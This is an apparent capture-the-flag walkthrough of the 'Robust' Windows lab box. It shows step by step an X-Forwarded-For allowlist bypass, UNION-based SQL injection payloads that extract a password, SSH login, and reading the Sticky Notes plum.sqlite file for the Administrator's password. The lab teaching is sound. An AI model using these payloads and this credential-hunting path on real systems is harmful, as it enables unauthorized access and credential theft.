# Robust Writeup - Proving Grounds

> Easy Windows box where an X-Forwarded-For header bypasses an IP allowlist to reach a UNION-based SQL injection, leaking a user's password, then a Windows Sticky Notes database exposes the Administrator's password in plain text.

- **URL:** https://hackindex.io/writeups/robust
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** sql-injection, authentication-bypass, information-disclosure, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Robust runs a PHP employee management application gated by an IP allowlist. Spoofing the trusted address with an `X-Forwarded-For` header unlocks a hidden employee search page vulnerable to UNION-based SQL injection, which leaks a user's password straight out of the database. On the box, that account's AppData folder holds a Windows Sticky Notes database with the Administrator's password written in plain text.

## Reconnaissance

### Nmap

Scan all TCP ports.

```bash
nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH for_Windows_8.1 (protocol 2.0)
# 80/tcp   open  http    PHP cli server 5.5 or later (PHP 7.3.33)
# 7680/tcp open  pando-pub?
```

Windows SSH, a PHP development server on 80, and Windows Update Delivery Optimization on 7680 (not exploitable). Port 80 is the only real surface.

### Web enumeration

Browsing to the root redirects to `login.php`, which shows an access-denied message naming one specific allowed IP address.

## Exploitation

### X-Forwarded-For header bypass

The IP check trusts a client-supplied header instead of the real connection source. Add it in Burp Repeater.

```powershell
GET /login.php HTTP/1.1
Host: $TARGET_IP
X-Forwarded-For: 10.10.10.1
# HTTP/1.1 200 OK
# ...
# <title>Robust Employee Manager</title>
```

Spoofing the trusted address renders the real login page instead of the access-denied message.

### Directory discovery

Fuzz for other PHP pages while keeping the bypass header set.

```bash
wfuzz -H "X-Forwarded-For: 10.10.10.1" --sc 302 -u http://$TARGET_IP/FUZZ.php -w /usr/share/wordlists/wfuzz/general/big.txt
# home.php    [Status: 302, Size: 0]
```

`home.php` redirects back to `login.php`, but the response body still carries the full page behind that redirect. Stripping the `Location` header (or following the redirect) in Repeater renders a **Manage Employees** page: an employee table with Id, First name, Last name and Birth date columns, plus a name-based search form.

### UNION-based SQL injection

The search form is injectable. Determine the column count first.

```bash
first_name=' UNION SELECT 1,2,3,4,5-- -&last_name=&action=search
# No error -> 5 columns
```

Five columns render with no error, one more than the four visible in the table, so a hidden password column sits in position five. Place it into a column that is actually displayed to read it.

```bash
first_name=' UNION SELECT id,password,last_name,birth_date,5 FROM employees WHERE first_name='Jeff'-- -&last_name=&action=search
# First name column for Jeff's row: $JEFF_PASSWORD
```

Jeff's password comes back in the "First name" display position. Try it over SSH.

### SSH as jeff

```bash
ssh jeff@$TARGET_IP
# jeff@$TARGET_IP's password:
# jeff@ROBUST C:\Users\Jeff> whoami
# robust\jeff
```

Shell as `jeff`. WinPEAS turns up minimal attack surface, so enumerate AppData by hand.

## Privilege Escalation

### Windows Sticky Notes credential leak

The Sticky Notes app stores its content in a local SQLite database.

```powershell
type C:\Users\Jeff\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
# Credentials:
# Administrator:$ADMIN_PASSWORD
```

The binary SQLite file still contains readable plaintext strings, and one note stores the Administrator's password outright. Windows Sticky Notes (`plum.sqlite`) is a well-known credential-hunting location on Windows post-exploitation. Try the leaked password over SSH.

```bash
ssh administrator@$TARGET_IP
# administrator@$TARGET_IP's password:
# administrator@ROBUST C:\Users\Administrator> whoami
# robust\administrator
```

The Sticky Notes leak hands over a shell as `Administrator`.

Related